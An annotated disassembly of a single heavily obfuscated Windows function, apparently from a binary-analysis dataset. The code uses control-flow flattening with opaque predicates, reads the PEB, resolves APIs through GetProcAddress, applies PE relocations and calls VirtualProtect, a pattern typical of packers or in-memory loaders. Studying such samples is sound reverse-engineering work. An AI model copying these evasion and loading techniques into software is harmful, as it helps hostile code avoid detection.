Function at 0x4017b0
Capabilities:
Check os version
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4c1f4
call fcn.00437ef0
mov eax, dword [0x4ad2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x79f11686
jmp 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0x18383181
mov esi, 0x44d1ae35
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x44d1ae35
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4af3ec], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
nop dword [eax + eax]
cmp eax, 0xddcb6bf
jle 0x401890
cmp eax, 0x453f8fc4
jg 0x401920
cmp eax, 0x23178b32
jle 0x401a52
cmp eax, 0x3104b7dc
jle 0x401ca3
cmp eax, 0x3b99751f
jle 0x401f4b
cmp eax, 0x40ed70d7
jg 0x402473
cmp eax, 0x3e286555
jle 0x402cca
cmp eax, 0x3e286556
je 0x403bfb
cmp eax, 0x3eb34284
je 0x403c05
cmp eax, 0x3f0994da
jne 0x401810
mov ecx, dword [ebp - 0x4c164]
mov eax, 0xf4f8b366
mov dword [ebp - 0x4c114], ecx
jmp 0x401810
cmp eax, 0xc9f16616
jg 0x4019f0
cmp eax, 0xa213508b
jle 0x401aec
cmp eax, 0xb062c190
jle 0x401cff
cmp eax, 0xc05eac33
jle 0x401f8c
cmp eax, 0xc43a8e27
jg 0x4024af
cmp eax, 0xc20611d5
jle 0x402cff
cmp eax, 0xc20611d6
je 0x403c0f
cmp eax, 0xc2d64e2c
je 0x403c19
cmp eax, 0xc32e343b
jne 0x401810
mov eax, dword [ebp - 0x4c074]
mov eax, dword [0x4af3f0]
mov esi, 0x4ffe3e18
mov edi, 0x228d851c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x228d851c
jmp 0x405232
cmp eax, 0x60d0f0f9
jle 0x401b88
cmp eax, 0x6cb97d6a
jle 0x401d4b
cmp eax, 0x7469b321
jle 0x401fe9
cmp eax, 0x7b6df59d
jg 0x4024eb
cmp eax, 0x78783009
jle 0x402d72
cmp eax, 0x7878300a
je 0x403c2f
cmp eax, 0x793633f0
je 0x403c48
cmp eax, 0x79f11686
jne 0x401810
push eax
mov eax, esp
mov dword [ebp - 0x4c0cc], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c074], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c088], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c068], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0b8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c078], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c090], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c07c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c0d0], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c094], eax
mov eax, 0xefd50984
jmp 0x401810
cmp eax, 0xed882160
jg 0x401bfa
cmp eax, 0xd900f66d
jle 0x401d97
cmp eax, 0xe48c2ee4
jg 0x40202a
cmp eax, 0xe04ee8da
jle 0x402530
cmp eax, 0xe2420d93
jle 0x402dae
cmp eax, 0xe2420d94
je 0x403c74
cmp eax, 0xe2ed0486
je 0x403c9a
cmp eax, 0xe3d57ff9
jne 0x401810
mov eax, 0x23178b33
jmp 0x401810
cmp eax, 0x18383180
jg 0x401df1
cmp eax, 0x15770c87
jg 0x40206b
cmp eax, 0x12e84f89
jle 0x4025cb
cmp eax, 0x153875b4
jle 0x402ddd
cmp eax, 0x153875b5
je 0x403ccd
cmp eax, 0x1543a16e
je 0x403ce6
cmp eax, 0x155041c0
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x33173731
mov edi, 0x37a273b7
mov dword [ebp - 0x4c0fc], 1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401810
cmp eax, 0x93fbe826
jg 0x401e3d
cmp eax, 0x896a1787
jg 0x4020eb
cmp eax, 0x859877ac
jle 0x40261e
cmp eax, 0x871bcc6a
jle 0x402dfd
cmp eax, 0x871bcc6b
je 0x403cf0
cmp eax, 0x88071894
je 0x403d0b
cmp eax, 0x883ca89b
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x7291ed00
mov dword [ebp - 0x4c064], 7
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc8a940bc
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401810
cmp eax, 0x51c1dd99
jg 0x401e89
cmp eax, 0x4d889688
jg 0x402132
cmp eax, 0x49996d15
jle 0x402649
cmp eax, 0x4a147f3c
jle 0x402e49
cmp eax, 0x4a147f3d
je 0x403d3f
cmp eax, 0x4a93d990
je 0x403d49
cmp eax, 0x4b21692a
jne 0x401810
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c194], eax
mov eax, dword [ebp - 0x4c060]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4c198], eax
mov eax, 0xc43a8e28
jmp 0x401810
cmp eax, 0xfcc22a24
jg 0x401eff
cmp eax, 0xf2393467
jg 0x40218f
cmp eax, 0xf047b358
jle 0x4026a6
cmp eax, 0xf157d6fd
jle 0x402e73
cmp eax, 0xf157d6fe
je 0x403d6e
cmp eax, 0xf1629681
je 0x403d78
cmp eax, 0xf1b33d4d
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xc90626f8
mov edi, 0xd42ca32b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c05c]
cmovge eax, esi
mov ecx, dword [ecx]
mov edx, ecx
xor edx, 0xbfffffff
test edx, ecx
setne byte [ebp - 0x4c09f]
jmp 0x401810
cmp eax, 0x2bb9e29e
jg 0x4021d0
cmp eax, 0x2570c109
jle 0x4026d7
cmp eax, 0x28baaf40
jle 0x402ec6
cmp eax, 0x28baaf41
je 0x403dd4
cmp eax, 0x292c5213
je 0x403dea
cmp eax, 0x2a4a7ebd
jne 0x401810
mov eax, dword [ebp - 0x4c090]
mov dword [ebp - 0x4c064], 0
mov eax, 0xa228e03a
jmp 0x401810
cmp eax, 0xa8840f14
jg 0x40223b
cmp eax, 0xa54fa62b
jle 0x402702
cmp eax, 0xa6352c26
jle 0x402f25
cmp eax, 0xa6352c27
je 0x403e0e
cmp eax, 0xa64703fb
je 0x403e18
cmp eax, 0xa670d40f
jne 0x401810
mov eax, 0xafadc8ea
jmp 0x401810
cmp eax, 0x681ca066
jg 0x4022a7
cmp eax, 0x65984d2d
jle 0x40272d
cmp eax, 0x66a1cd07
jle 0x402f45
cmp eax, 0x66a1cd08
je 0x403e43
cmp eax, 0x66a857c6
je 0x403e4d
cmp eax, 0x66f318d3
jne 0x401810
mov eax, 0xc32e343b
jmp 0x401810
cmp eax, 0xd36cab81
jg 0x4022fb
cmp eax, 0xd0a9b187
jle 0x402766
cmp eax, 0xd2debf46
jle 0x402f81
cmp eax, 0xd2debf47
je 0x403e57
cmp eax, 0xd30187dc
je 0x403ea2
cmp eax, 0xd316ff82
jne 0x401810
mov eax, dword [ebp - 0x4c074]
mov ecx, dword [ebp - 0x4c134]
mov dword [eax], ecx
mov eax, 0x31f43ff8
jmp 0x401810
cmp eax, 0x1dce205e
jg 0x40233c
cmp eax, 0x1a6121a6
jle 0x4027bd
cmp eax, 0x1c0090c7
jle 0x402fa1
cmp eax, 0x1c0090c8
je 0x4017d1
cmp eax, 0x1d3964ca
je 0x403ec1
cmp eax, 0x1d90bf7c
jne 0x401810
mov eax, 0xbb982c71
jmp 0x401810
cmp eax, 0x9c9c97bb
jg 0x40238f
cmp eax, 0x9705b9e3
jle 0x4027e8
cmp eax, 0x9a1187d4
jle 0x402fea
cmp eax, 0x9a1187d5
je 0x403f1f
cmp eax, 0x9b9131bb
je 0x403f39
cmp eax, 0x9c3aa235
jne 0x401810
mov eax, 0x6fce2a8f
jmp 0x401810
cmp eax, 0x5883848b
jg 0x4023d6
cmp eax, 0x54cbb960
jle 0x402828
cmp eax, 0x575aa584
jle 0x40301e
cmp eax, 0x575aa585
je 0x403f6c
cmp eax, 0x57775608
je 0x403f76
cmp eax, 0x57db4ff9
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x31f43ff8
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd316ff82
jmp 0x405115
cmp eax, 0x265844d
jg 0x40241d
cmp eax, 0x17caad7
jle 0x40285d
cmp eax, 0x1f2d6be
jle 0x40304a
cmp eax, 0x1f2d6bf
je 0x403f90
cmp eax, 0x21ceeb3
je 0x403f9a
cmp eax, 0x2558e93
jne 0x401810
mov eax, 0x1a4f1875
jmp 0x401810
cmp eax, 0x37a273b6
jle 0x402888
cmp eax, 0x38d19fa9
jle 0x403086
cmp eax, 0x38d19faa
je 0x403fb4
cmp eax, 0x395a8dce
je 0x403fbe
cmp eax, 0x3b6ece4d
jne 0x401810
mov eax, 0x1dce205f
jmp 0x401810
cmp eax, 0xb807b080
jle 0x4028dd
cmp eax, 0xbb982c70
jle 0x4030a6
cmp eax, 0xbb982c71
je 0x403fd7
cmp eax, 0xbc61f9c3
je 0x404004
cmp eax, 0xbeeab622
jne 0x401810
mov eax, dword [ebp - 0x4c0a8]
mov dword [ebp - 0x4c178], eax
mov eax, dword [ebp - 0x4c060]
movzx eax, word [eax + 6]
mov dword [ebp - 0x4c17c], eax
mov eax, 0x2570c10a
jmp 0x401810
cmp eax, 0x6ff302a5
jle 0x402958
cmp eax, 0x71836416
jle 0x4030c6
cmp eax, 0x71836417
je 0x404030
cmp eax, 0x7238fb2a
je 0x404096
cmp eax, 0x7291ed00
jne 0x401810
mov eax, 0xb01c47d8
jmp 0x401810
cmp eax, 0xe89cbd7e
jle 0x4029cd
cmp eax, 0xec6afb97
jle 0x403100
cmp eax, 0xec6afb98
je 0x4040a0
cmp eax, 0xecd20f59
je 0x4040aa
cmp eax, 0xed443719
jne 0x401810
mov eax, 0x7b6df59e
jmp 0x401810
cmp eax, 0x16bbb322
jle 0x402a14
cmp eax, 0x17162126
jle 0x40312f
cmp eax, 0x17162127
je 0x4040d0
cmp eax, 0x171df47b
je 0x40411c
cmp eax, 0x180a8ed9
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x19a77557
mov edi, 0x2d1cdb95
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0e8]
cmovge eax, esi
jmp 0x401810
cmp eax, 0x8f70fbd0
jle 0x402a45
cmp eax, 0x9068feb3
jle 0x40314f
cmp eax, 0x9068feb4
je 0x404135
cmp eax, 0x92250d94
je 0x404146
cmp eax, 0x929b5c45
jne 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, 0x49996d16
jmp 0x401810
cmp eax, 0x4eb61656
jle 0x402a70
cmp eax, 0x4fbbdad4
jle 0x40316f
cmp eax, 0x4fbbdad5
je 0x404156
cmp eax, 0x4ffe3e18
je 0x404175
cmp eax, 0x5172a05e
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0x8008d72c
mov esi, 0xd2bac2ac
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd2bac2ac
jmp 0x4017f3
cmp eax, 0xf4f8b365
jle 0x402abd
cmp eax, 0xf93123ce
jle 0x4031bb
cmp eax, 0xf93123cf
je 0x4041a0
cmp eax, 0xfa9055cb
je 0x4041aa
cmp eax, 0xfb1f4d4e
jne 0x401810
mov eax, 0x5b017ed4
jmp 0x401810
cmp eax, 0x2d1cdb94
jle 0x402af4
cmp eax, 0x2dd73826
jle 0x4032b0
cmp eax, 0x2dd73827
je 0x4041d8
cmp eax, 0x2ea5bd32
je 0x4041e2
cmp eax, 0x303cdb45
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x25e1c3b7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x7469b322
jmp 0x405115
cmp eax, 0xabd1dad3
jle 0x402b30
cmp eax, 0xb014f2b5
jle 0x4032ee
cmp eax, 0xb014f2b6
je 0x404211
cmp eax, 0xb01c47d8
je 0x404221
cmp eax, 0xb04c9b8c
jne 0x401810
mov eax, dword [ebp - 0x4c090]
mov eax, dword [ebp - 0x4c088]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c068]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x4c058]
mov ecx, dword [ebp - 0x4c090]
mov dword [ecx], eax
mov eax, 0x367ff6ad
jmp 0x401810
cmp eax, 0x6acf0c25
jle 0x402b5b
cmp eax, 0x6c4eebd2
jle 0x403329
cmp eax, 0x6c4eebd3
je 0x404231
cmp eax, 0x6c75971a
je 0x40424a
cmp eax, 0x6cb13076
jne 0x401810
mov eax, dword [ebp - 0x4c1a8]
cmp eax, dword [ebp - 0x4c1ac]
mov eax, 0xe986e921
setl byte [ebp - 0x4c09a]
jmp 0x401810
cmp eax, 0xd4b84efb
jle 0x402b92
cmp eax, 0xd7b10236
jle 0x403397
cmp eax, 0xd7b10237
je 0x404263
cmp eax, 0xd7e0389a
je 0x404291
cmp eax, 0xd841781b
jne 0x401810
mov eax, 0x688f097c
jmp 0x401810
cmp eax, 0x211722c6
jle 0x402bbd
cmp eax, 0x22757555
jle 0x4033c8
cmp eax, 0x22757556
je 0x4042ab
cmp eax, 0x228d851c
je 0x4042c4
cmp eax, 0x23113449
jne 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xe6dad6af
jmp 0x404893
cmp eax, 0x9e28bfa8
jle 0x402c09
cmp eax, 0x9f66ef49
jle 0x403411
cmp eax, 0x9f66ef4a
je 0x4042ce
cmp eax, 0xa09f8fc7
je 0x4042d8
cmp eax, 0xa0f3add6
jne 0x401810
mov eax, dword [ebp - 0x4c068]
mov eax, 0x8cc343c5
jmp 0x401810
cmp eax, 0x5b1dd7d3
jle 0x402c51
cmp eax, 0x5c96372c
jle 0x403441
cmp eax, 0x5c96372d
je 0x40433c
cmp eax, 0x5f1c6d01
je 0x404373
cmp eax, 0x601afee9
jne 0x401810
mov eax, dword [ebp - 0x4c074]
mov eax, 0x5c96372d
jmp 0x401810
cmp eax, 0x6be61dd
jle 0x402c91
cmp eax, 0xa3c544a
jle 0x40346b
cmp eax, 0xa3c544b
je 0x404399
cmp eax, 0xc83baa0
je 0x4043a3
cmp eax, 0xd4bef12
jne 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x3b6ece4d
mov edi, 0x9044ea20
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9044ea20
jmp 0x40522a
cmp eax, 0x43dc0269
jle 0x40348b
cmp eax, 0x43dc026a
je 0x4043db
cmp eax, 0x441b2ec0
je 0x40441a
cmp eax, 0x44d1ae35
jne 0x401810
mov eax, dword [ebp - 0x4c070]
mov eax, 0x18383181
jmp 0x401810
cmp eax, 0xc79ca164
jle 0x40351b
cmp eax, 0xc79ca165
je 0x40443f
cmp eax, 0xc8a940bc
je 0x404481
cmp eax, 0xc90626f8
jne 0x401810
mov eax, dword [ebp - 0x4c05c]
mov eax, 0xf1b33d4d
jmp 0x401810
cmp eax, 0x7d3d2a45
jle 0x40354a
cmp eax, 0x7d3d2a46
je 0x404495
cmp eax, 0x7d7ce329
je 0x4044db
cmp eax, 0x7ea1a0d0
jne 0x401810
cmp dword [ebp - 0x4c104], 0
mov eax, 0x49e4f315
mov ecx, 0x395a8dce
cmove eax, ecx
jmp 0x401810
cmp eax, 0xdd7434fd
jle 0x40356a
cmp eax, 0xdfb64edf
je 0x4044e5
cmp eax, 0xe00905f5
jne 0x40527e
mov eax, dword [ebp - 0x4c06c]
mov ecx, dword [ebp - 0x4c0ac]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov edi, dword [ecx + eax*8 + 8]
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov ebx, dword [ecx + eax*8 + 0xc]
add ebx, dword [ebp - 0x4c058]
mov eax, dword [ebp - 0x4c0e8]
mov esi, dword [ebp - 0x4c14c]
mov dword [ebp - 0x4c110], eax
mov eax, 0xe71d644c
nop word cs:[eax + eax]
cmp eax, 0x28557317
je 0x404547
cmp eax, 0xe71d644c
jne 0x4025a0
push dword [ebp - 0x4c110]
push esi
push edi
push ebx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x28557317
jmp 0x4025a0
cmp eax, 0xedf7cbb
jg 0x4035a6
cmp eax, 0xddcb6c0
je 0x404579
cmp eax, 0xe28f610
jne 0x401810
mov eax, dword [ebp - 0x4c0bc]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4c0bc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c0c0]
mov eax, dword [ebp - 0x4c0bc]
mov eax, dword [eax]
mov dword [ebp - 0x4c0f8], eax
mov eax, 0xd7e0389a
jmp 0x401810
cmp eax, 0x8374727c
jg 0x4035d7
cmp eax, 0x8008d72c
je 0x4045bb
cmp eax, 0x8035090e
jne 0x401810
mov eax, 0x1543a16e
jmp 0x401810
cmp eax, 0x45c82a2f
jg 0x4035f7
cmp eax, 0x453f8fc5
je 0x4045ef
cmp eax, 0x4545fe91
jne 0x401810
push dword [ebp - 0x4c140]
push dword [ebp - 0x4c144]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c094]
mov edi, 0xe04ee8db
mov esi, 0x9d1bb861
mov dword [ecx], eax
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9d1bb861
jmp 0x4017eb
cmp eax, 0xeeef4382
jg 0x403617
cmp eax, 0xed882161
je 0x40461b
cmp eax, 0xee106286
jne 0x401810
mov eax, dword [ebp - 0x4c0cc]
mov eax, 0xf3b63f10
jmp 0x401810
cmp eax, 0x246ee5b8
jg 0x4036ef
cmp eax, 0x23178b33
je 0x404634
cmp eax, 0x2456f1e5
jne 0x401810
mov eax, 0x2c7e899b
jmp 0x401810
cmp eax, 0xa2e1e72f
jg 0x40370f
cmp eax, 0xa213508c
je 0x40463e
cmp eax, 0xa228e03a
jne 0x401810
mov eax, 0x688f097c
jmp 0x401810
cmp eax, 0x62c52ca6
jg 0x403744
cmp eax, 0x60d0f0fa
je 0x404670
cmp eax, 0x6285372d
jne 0x401810
mov eax, dword [ebp - 0x4c0b4]
mov eax, dword [eax]
mov dword [ebp - 0x4c1b4], eax
mov eax, 0x54cbb961
jmp 0x401810
cmp eax, 0xceaee6c1
jg 0x40376a
cmp eax, 0xc9f16617
je 0x4046a5
cmp eax, 0xcba26464
jne 0x401810
mov eax, dword [ebp - 0x4c130]
mov esi, 0xa6352c27
mov edi, 0x4dd14190
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c0dc]
mov dword [eax], ecx
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4dd14190
jmp 0x405232
cmp eax, 0x19da4060
jg 0x4037a8
cmp eax, 0x18383181
je 0x4046bd
cmp eax, 0x19a77557
jne 0x401810
mov eax, 0x2d1cdb95
jmp 0x401810
cmp eax, 0x95a54048
jg 0x4037dc
cmp eax, 0x93fbe827
je 0x404710
cmp eax, 0x94260dae
jne 0x401810
mov eax, dword [0x4af3f0]
mov esi, 0x453f8fc5
mov edi, 0x4eb61657
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4eb61657
jmp 0x40522a
cmp eax, 0x53085a0e
jg 0x403842
cmp eax, 0x51c1dd9a
je 0x404730
cmp eax, 0x52f9c6f5
jne 0x401810
mov eax, 0x1678ad9d
mov dword [ebp - 0x4c064], 5
jmp 0x401810
cmp eax, 0xfef574f9
jg 0x40387e
cmp eax, 0xfcc22a25
je 0x40474e
cmp eax, 0xfd08be0e
jne 0x401810
mov eax, 0xed882161
jmp 0x401810
cmp eax, 0x33173730
jg 0x4038b3
cmp eax, 0x3104b7dd
je 0x40476d
cmp eax, 0x31f43ff8
jne 0x401810
mov eax, dword [ebp - 0x4c074]
mov ecx, dword [ebp - 0x4c134]
mov esi, 0x7238fb2a
mov edi, 0xd316ff82
mov dword [eax], ecx
mov eax, dword [0x4af3f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd316ff82
jmp 0x405232
cmp eax, 0xb3e0e714
jg 0x4038e5
cmp eax, 0xb062c191
je 0x404783
cmp eax, 0xb30d7c4d
jne 0x401810
mov eax, dword [ebp - 0x4c0ec]
mov eax, dword [ebp - 0x4c0d4]
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c098]
mov eax, dword [ebp - 0x4c080]
mov eax, dword [ebp - 0x4c084]
mov eax, dword [ebp - 0x4c0c0]
mov eax, dword [ebp - 0x4c0bc]
mov eax, dword [ebp - 0x4c0e8]
mov eax, dword [ebp - 0x4c088]
mov dword [ebp - 0x4c0fc], 0
mov dword [ebp - 0x4c064], 1
mov eax, 0x23178b33
jmp 0x401810
cmp eax, 0x6fb466a8
jg 0x40394a
cmp eax, 0x6cb97d6b
je 0x40478d
cmp eax, 0x6eb4ba86
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0x2558e93
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x15c10b3f
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c128]
cmovge eax, edx
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x4c190], ecx
jmp 0x401810
cmp eax, 0xe6dad6ae
jg 0x403976
cmp eax, 0xe48c2ee5
je 0x4047a1
cmp eax, 0xe4b57b35
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0xc085ba46
mov esi, 0xc05eac34
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc05eac34
jmp 0x4017f3
cmp eax, 0x1678ad9c
jg 0x4039a4
cmp eax, 0x15770c88
je 0x4047bb
cmp eax, 0x15c10b3f
jne 0x401810
mov eax, dword [ebp - 0x4c128]
mov eax, 0x6eb4ba86
jmp 0x401810
cmp eax, 0x8d7b8dd8
jg 0x4039f0
cmp eax, 0x896a1788
je 0x4047c5
cmp eax, 0x8cc343c5
jne 0x401810
mov eax, 0x180a8ed9
jmp 0x401810
cmp eax, 0x4e889c72
jg 0x403a20
cmp eax, 0x4d889689
je 0x4047f0
cmp eax, 0x4dd14190
jne 0x401810
mov eax, dword [ebp - 0x4c130]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4c0dc]
mov edx, dword [ebp - 0x4c0dc]
mov edx, dword [ebp - 0x4c0dc]
add ecx, dword [ebp - 0x4c0dc]
mov dword [eax], ecx
mov eax, 0xcba26464
jmp 0x401810
cmp eax, 0xf426be10
jg 0x403a40
cmp eax, 0xf2393468
je 0x4047fa
cmp eax, 0xf3b63f10
jne 0x401810
mov eax, dword [ebp - 0x4c100]
mov dword [ebp - 0x4c19c], eax
mov eax, 0x1f0054b5
jmp 0x401810
cmp eax, 0x2c7e899a
jg 0x403a75
cmp eax, 0x2bb9e29f
je 0x404820
cmp eax, 0x2c2e72c7
jne 0x401810
mov eax, dword [ebp - 0x4c06c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c06c]
inc eax
mov dword [ecx], eax
mov eax, 0x2dd73827
jmp 0x401810
cmp eax, 0xaa016751
jg 0x403aa4
cmp eax, 0xa8840f15
je 0x404874
cmp eax, 0xa947898c
jne 0x401810
mov eax, 0xe2ed0486
jmp 0x401810
cmp eax, 0x688f097b
jg 0x403ac4
cmp eax, 0x681ca067
je 0x40487e
cmp eax, 0x6866cb95
jne 0x401810
mov eax, dword [ebp - 0x4c06c]
mov dword [eax], 0
mov eax, 0x9d666b90
jmp 0x401810
cmp eax, 0xd42ca32a
jg 0x403af7
cmp eax, 0xd36cab82
je 0x4048a0
cmp eax, 0xd3cf70c7
jne 0x401810
mov eax, 0x9c9c97bc
jmp 0x401810
cmp eax, 0x1f0054b4
jg 0x403b27
cmp eax, 0x1dce205f
je 0x4048aa
cmp eax, 0x1dd3389c
jne 0x401810
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c080]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c0d4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x3eb34284
jmp 0x401810
cmp eax, 0x9d570587
jg 0x403b55
cmp eax, 0x9c9c97bc
je 0x4048c2
cmp eax, 0x9d1bb861
jne 0x401810
push dword [ebp - 0x4c140]
push dword [ebp - 0x4c144]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c094]
mov dword [ecx], eax
mov eax, 0x4545fe91
jmp 0x401810
cmp eax, 0x594068cb
jg 0x403b96
cmp eax, 0x5883848c
je 0x4048f6
cmp eax, 0x58c215da
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0xa09f8fc7
mov esi, 0xd2debf47
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xd2debf47
jmp 0x4017eb
cmp eax, 0x3380f6e
jg 0x403bc6
cmp eax, 0x265844e
je 0x404911
cmp eax, 0x29eb1cf
jne 0x401810
mov eax, dword [ebp - 0x4c07c]
mov ecx, dword [ebp - 0x4c1e4]
mov dword [eax], ecx
mov eax, 0xe48c2ee5
jmp 0x401810
cmp eax, 0x3b997520
je 0x40492a
cmp eax, 0x3cc72b20
jne 0x401810
mov eax, dword [0x4af3f0]
mov edi, 0xe2ed0486
mov esi, 0xa947898c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa947898c
jmp 0x4017eb
cmp eax, 0xc05eac34
je 0x404943
cmp eax, 0xc085ba46
jne 0x401810
mov edx, dword [0x4af3f0]
mov ecx, dword [0x4af3ec]
mov esi, 0xc05eac34
mov edi, 0x1a6121a7
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c05c]
cmovge eax, esi
mov ecx, dword [ecx]
not ecx
or ecx, 0xbfffffff
cmp ecx, 0xffffffff
setne byte [ebp - 0x4c0a0]
jmp 0x401810
cmp eax, 0x7469b322
je 0x404953
cmp eax, 0x77543bf2
jne 0x401810
mov eax, dword [ebp - 0x4c074]
mov eax, dword [eax]
movzx eax, word [eax]
and eax, 0xfff
add eax, dword [ebp - 0x4c1b0]
mov dword [ebp - 0x4c130], eax
mov eax, 0x45c82a30
jmp 0x401810
cmp eax, 0xe04ee8db
je 0x404967
cmp eax, 0xe050499f
jne 0x401810
cmp dword [ebp - 0x4c10c], 0
mov eax, 0xd438b210
mov ecx, 0x57775608
cmove eax, ecx
jmp 0x401810
cmp eax, 0x12e84f8a
je 0x404971
cmp eax, 0x1383a918
jne 0x401810
mov eax, 0x1c0090c8
jmp 0x401810
cmp eax, 0x859877ad
je 0x4049b7
cmp eax, 0x86a9919e
jne 0x401810
mov eax, dword [ebp - 0x4c1b8]
add eax, dword [ebp - 0x4c1bc]
mov dword [ebp - 0x4c100], eax
mov eax, dword [ebp - 0x4c074]
mov eax, dword [eax]
mov dword [ebp - 0x4c0c8], eax
mov eax, dword [ebp - 0x4c074]
mov eax, dword [ebp - 0x4c0b0]
mov eax, 0xee106286
jmp 0x401810
cmp eax, 0x49996d16
je 0x4049d2
cmp eax, 0x49e4f315
jne 0x401810
mov dword [ebp - 0x4c114], 0
mov eax, 0xf4f8b366
jmp 0x401810
cmp eax, 0xf047b359
je 0x404a27
